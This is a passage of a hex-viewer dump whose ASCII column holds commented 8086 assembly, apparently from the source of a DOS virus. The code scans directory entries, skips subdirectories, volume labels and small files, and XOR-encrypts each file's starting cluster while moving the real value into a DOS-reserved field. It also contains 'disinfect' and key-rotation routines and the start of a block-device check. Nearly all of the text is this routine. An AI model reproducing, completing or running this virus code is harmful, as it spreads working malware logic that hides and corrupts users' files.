too b| |00005bf0| 69 67 0a 20 20 20 20 20 | 20 20 20 20 74 65 73 74 |ig. | test| |00005c00| 20 20 5b 73 69 2b 31 64 | 68 5d 2c 30 33 66 66 38 | [si+1d|h],03ff8| |00005c10| 68 20 3b 20 3c 32 30 34 | 38 42 20 20 20 20 20 20 |h ; <204|8B | |00005c20| 20 20 20 3b 20 43 68 65 | 63 6b 20 66 69 6c 65 20 | ; Che|ck file | |00005c30| 73 69 7a 65 20 6c 6f 77 | 20 77 6f 72 64 0a 20 20 |size low| word. | |00005c40| 20 20 20 20 20 20 20 6a | 7a 20 20 20 20 67 6f 5f | j|z go_| |00005c50| 6f 6e 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |on | | |00005c60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00005c70| 74 6f 20 73 65 65 20 69 | 66 20 69 74 20 69 73 20 |to see i|f it is | |00005c80| 74 6f 6f 20 73 6d 61 6c | 6c 0a 20 20 20 20 20 20 |too smal|l. | |00005c90| 20 20 20 74 65 73 74 20 | 20 5b 73 69 2b 30 62 68 | test | [si+0bh| |00005ca0| 5d 2c 62 79 74 65 20 70 | 74 72 20 31 63 68 20 20 |],byte p|tr 1ch | |00005cb0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 43 68 65 63 | | ; Chec| |00005cc0| 6b 20 61 74 74 72 69 62 | 75 74 65 20 66 6f 72 20 |k attrib|ute for | |00005cd0| 73 75 62 64 69 72 2c 0a | 20 20 20 20 20 20 20 20 |subdir,.| | |00005ce0| 20 6a 6e 7a 20 20 20 67 | 6f 5f 6f 6e 20 20 20 20 | jnz g|o_on | |00005cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005d00| 20 20 20 20 20 20 20 20 | 3b 20 76 6f 6c 75 6d 65 | |; volume| |00005d10| 20 6c 61 62 65 6c 20 6f | 72 20 73 79 73 74 65 6d | label o|r system| |00005d20| 20 66 69 6c 65 0a 20 20 | 20 20 20 20 20 20 20 74 | file. | t| |00005d30| 65 73 74 20 20 64 6c 2c | 64 6c 20 20 20 20 20 20 |est dl,|dl | |00005d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005d50| 20 20 20 20 20 20 3b 20 | 49 66 20 6e 6f 6e 65 20 | ; |If none | |00005d60| 6f 66 20 74 68 65 73 65 | 2c 20 63 68 65 63 6b 20 |of these|, check | |00005d70| 44 58 0a 20 20 20 20 20 | 20 20 20 20 6a 6e 7a 20 |DX. | jnz | |00005d80| 20 20 72 65 73 74 20 20 | 20 20 20 20 20 20 20 20 | rest | | |00005d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005da0| 20 20 20 3b 20 49 66 20 | 6e 6f 74 20 30 2c 20 64 | ; If |not 0, d| |00005db0| 65 63 72 79 70 74 0a 70 | 6f 69 6e 74 65 72 3a 20 |ecrypt.p|ointer: | |00005dc0| 6d 6f 76 20 20 20 61 78 | 2c 31 32 33 34 68 20 20 |mov ax|,1234h | |00005dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005de0| 20 20 20 20 20 20 20 3b | 20 6d 6f 76 20 61 78 2c | ;| mov ax,| |00005df0| 20 58 58 20 6d 6f 64 69 | 66 69 65 64 20 65 6c 73 | XX modi|fied els| |00005e00| 65 77 68 65 72 65 0a 20 | 20 20 20 20 20 20 20 20 |ewhere. | | |00005e10| 63 6d 70 20 20 20 61 78 | 2c 5b 73 69 2b 31 61 68 |cmp ax|,[si+1ah| |00005e20| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |] | | |00005e30| 20 20 20 20 20 20 20 3b | 20 43 68 65 63 6b 20 66 | ;| Check f| |00005e40| 6f 72 20 73 61 6d 65 20 | 73 74 61 72 74 69 6e 67 |or same |starting| |00005e50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | | |00005e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005e80| 20 3b 20 63 6c 75 73 74 | 65 72 20 6e 75 6d 62 65 | ; clust|er numbe| |00005e90| 72 20 61 73 20 75 73 0a | 20 20 20 20 20 20 20 20 |r as us.| | |00005ea0| 20 6a 65 20 20 20 20 67 | 6f 5f 6f 6e 20 20 20 20 | je g|o_on | |00005eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005ec0| 20 20 20 20 20 20 20 20 | 3b 20 49 66 20 69 74 20 | |; If it | |00005ed0| 69 73 2c 20 74 68 65 6e | 20 74 72 79 20 61 6e 6f |is, then| try ano| |00005ee0| 74 68 65 72 0a 20 20 20 | 20 20 20 20 20 20 78 63 |ther. | xc| |00005ef0| 68 67 20 20 61 78 2c 5b | 73 69 2b 31 61 68 5d 20 |hg ax,[|si+1ah] | |00005f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005f10| 20 20 20 20 20 3b 20 4f | 74 68 65 72 77 69 73 65 | ; O|therwise| |00005f20| 20 6d 61 6b 65 20 69 74 | 20 70 6f 69 6e 74 20 74 | make it| point t| |00005f30| 6f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |o. | | |00005f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005f60| 20 20 3b 20 75 73 2e 0a | 67 61 64 3a 20 20 20 20 | ; us..|gad: | |00005f70| 20 78 6f 72 20 20 20 61 | 78 2c 31 32 33 34 68 20 | xor a|x,1234h | |00005f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005f90| 20 20 20 20 20 20 20 20 | 3b 20 45 6e 63 72 79 70 | |; Encryp| |00005fa0| 74 20 74 68 65 69 72 20 | 73 74 61 72 74 69 6e 67 |t their |starting| |00005fb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | | |00005fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005fe0| 20 3b 20 63 6c 75 73 74 | 65 72 0a 20 20 20 20 20 | ; clust|er. | |00005ff0| 20 20 20 20 6d 6f 76 20 | 20 20 5b 73 69 2b 31 34 | mov | [si+14| |00006000| 68 5d 2c 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |h],ax | | |00006010| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 41 6e 64 | | ; And| |00006020| 20 70 75 74 20 69 74 20 | 69 6e 20 61 72 65 61 20 | put it |in area | |00006030| 72 65 73 65 72 76 65 64 | 0a 20 20 20 20 20 20 20 |reserved|. | |00006040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00006050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00006060| 20 20 20 20 20 20 20 20 | 20 3b 20 62 79 20 44 4f | | ; by DO| |00006070| 53 20 66 6f 72 20 6e 6f | 20 70 75 72 70 6f 73 65 |S for no| purpose| |00006080| 0a 20 20 20 20 20 20 20 | 20 20 6c 6f 6f 70 20 20 |. | loop | |00006090| 67 6f 5f 6f 6e 20 20 20 | 20 20 20 20 20 20 20 20 |go_on | | |000060a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000060b0| 20 3b 20 54 72 79 20 61 | 6e 6f 74 68 65 72 20 66 | ; Try a|nother f| |000060c0| 69 6c 65 0a 72 65 73 74 | 3a 20 20 20 20 78 6f 72 |ile.rest|: xor| |000060d0| 20 20 20 61 78 2c 61 78 | 20 20 20 20 20 20 20 20 | ax,ax| | |000060e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000060f0| 20 20 20 20 3b 20 44 69 | 73 69 6e 66 65 63 74 20 | ; Di|sinfect | |00006100| 74 68 65 20 66 69 6c 65 | 0a 20 20 20 20 20 20 20 |the file|. | |00006110| 20 20 78 63 68 67 20 20 | 61 78 2c 5b 73 69 2b 31 | xchg |ax,[si+1| |00006120| 34 68 5d 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |4h] | | |00006130| 20 20 20 20 20 20 20 20 | 20 3b 20 47 65 74 20 73 | | ; Get s| |00006140| 74 61 72 74 69 6e 67 20 | 63 6c 75 73 74 65 72 0a |tarting |cluster.| |00006150| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 61 | | xor a| |00006160| 78 2c 77 6f 72 64 20 70 | 74 72 20 63 73 3a 67 61 |x,word p|tr cs:ga| |00006170| 64 2b 31 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d+1 | | |00006180| 3b 20 44 65 63 72 79 70 | 74 20 74 68 65 20 73 74 |; Decryp|t the st| |00006190| 61 72 74 69 6e 67 20 63 | 6c 75 73 74 65 72 0a 20 |arting c|luster. | |000061a0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 5b 73 | |mov [s| |000061b0| 69 2b 31 61 68 5d 2c 61 | 78 20 20 20 20 20 20 20 |i+1ah],a|x | |000061c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000061d0| 20 61 6e 64 20 70 75 74 | 20 69 74 20 62 61 63 6b | and put| it back| |000061e0| 0a 67 6f 5f 6f 6e 3a 20 | 20 20 64 62 20 20 20 20 |.go_on: | db | |000061f0| 32 65 68 2c 30 64 31 68 | 2c 36 20 20 20 20 20 20 |2eh,0d1h|,6 | |00006200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00006210| 20 3b 20 72 6f 6c 20 63 | 73 3a 5b 67 61 64 2b 31 | ; rol c|s:[gad+1| |00006220| 5d 2c 20 31 0a 20 20 20 | 20 20 20 20 20 20 64 77 |], 1. | dw| |00006230| 20 20 20 20 6f 66 66 73 | 65 74 20 67 61 64 2b 31 | offs|et gad+1| |00006240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00006250| 20 20 20 20 20 3b 20 43 | 68 61 6e 67 65 20 65 6e | ; C|hange en| |00006260| 63 72 79 70 74 69 6f 6e | 20 61 6e 64 0a 20 20 20 |cryption| and. | |00006270| 20 20 20 20 20 20 61 64 | 64 20 20 20 73 69 2c 33 | ad|d si,3| |00006280| 32 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2 | | |00006290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 67 | | ; g| |000062a0| 6f 20 74 6f 20 6e 65 78 | 74 20 66 69 6c 65 0a 20 |o to nex|t file. | |000062b0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 64 69 | |cmp di| |000062c0| 2c 73 69 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,si | | |000062d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000062e0| 20 49 66 20 69 74 20 69 | 73 20 6e 6f 74 20 70 61 | If it i|s not pa| |000062f0| 73 74 20 74 68 65 20 65 | 6e 64 20 6f 66 0a 20 20 |st the e|nd of. | |00006300| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 66 69 6e | j|ne fin| |00006310| 64 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d | | |00006320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00006330| 74 68 65 20 62 75 66 66 | 65 72 2c 20 74 68 65 6e |the buff|er, then| |00006340| 20 74 72 79 20 61 67 61 | 69 6e 0a 20 20 20 20 20 | try aga|in. | |00006350| 20 20 20 20 72 65 74 20 | 20 20 20 20 20 20 20 20 | ret | | |00006360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00006370| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4f 74 68 | | ; Oth| |00006380| 65 72 77 69 73 65 20 71 | 75 69 74 0a 0a 63 68 65 |erwise q|uit..che| |00006390| 63 6b 3a 20 20 20 6d 6f | 76 20 20 20 61 68 2c 5b |ck: mo|v ah,[| |000063a0| 62 78 2b 31 5d 20 20 20 | 20 20 20 20 20 20 20 20 |bx+1] | | |000063b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 61 | | ; a| |000063c0| 68 20 3d 20 75 6e 69 74 | 20 63 6f 64 65 20 28 62 |h = unit| code (b| |000063d0| 6c 6f 63 6b 20 64 65 76 | 69 63 65 0a 20 20 20 20 |lock dev|ice. | |000063e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000063f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | +--------+-------------------------+-------------------------+--------+--------+ Only 25.0 KB of data is shown above.